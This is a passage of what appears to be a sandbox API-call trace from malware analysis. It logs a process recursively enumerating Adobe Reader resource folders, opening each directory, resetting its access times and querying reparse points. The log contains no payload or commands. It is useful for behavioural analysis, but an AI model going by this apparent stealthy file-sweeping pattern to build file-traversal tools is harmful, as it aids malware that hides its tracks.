cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw.fca", cAlternateFileName="")) returned 1 [0084.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw.hyp", cAlternateFileName="")) returned 1 [0084.385] GetLastError () returned 0x12 [0084.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6fc8) returned 1 [0084.386] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0084.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d70d0) returned 1 [0084.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6ec0) returned 1 [0084.387] GetLastError () returned 0x12 [0084.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6cb0) returned 1 [0084.388] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0084.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6db8) returned 1 [0084.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6ba8) returned 1 [0084.388] GetLastError () returned 0x12 [0084.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cedd8) returned 1 [0084.388] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cecd0) returned 1 [0084.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ce8b0) returned 1 [0084.389] GetLastError () returned 0x12 [0084.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.389] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0084.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0084.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0084.403] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0084.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.403] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0084.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.404] NtClose (Handle=0x16c) returned 0x0 [0084.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0084.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.404] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0084.404] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.405] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="")) returned 1 [0084.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0084.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ef7e8 [0084.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ce8b0 [0084.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.407] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="")) returned 0 [0084.407] GetLastError () returned 0x12 [0084.407] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0084.407] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0084.407] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.407] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="")) returned 1 [0084.407] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="")) returned 0 [0084.407] GetLastError () returned 0x12 [0084.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.407] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0084.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.408] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="")) returned 1 [0084.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0084.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0084.426] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0084.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.426] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0084.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.427] NtClose (Handle=0x178) returned 0x0 [0084.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0084.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.427] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0084.428] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.428] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0084.428] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0084.428] GetLastError () returned 0x12 [0084.428] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0084.428] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.428] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.428] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0084.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0084.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0084.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0084.429] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0084.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.429] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0084.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.430] NtClose (Handle=0x178) returned 0x0 [0084.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cecd0) returned 1 [0084.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0084.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cedd8 [0084.431] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0084.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0084.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0084.431] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0084.431] GetLastError () returned 0x12 [0084.431] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0084.431] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0084.431] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.431] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0084.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ba8 [0084.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0084.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6db8 [0084.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0084.441] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0084.441] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.441] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0084.441] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0084.442] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.442] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="")) returned 1 [0084.442] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0084.442] FindNextFileW (in: hFindFile=0x2e90c0, 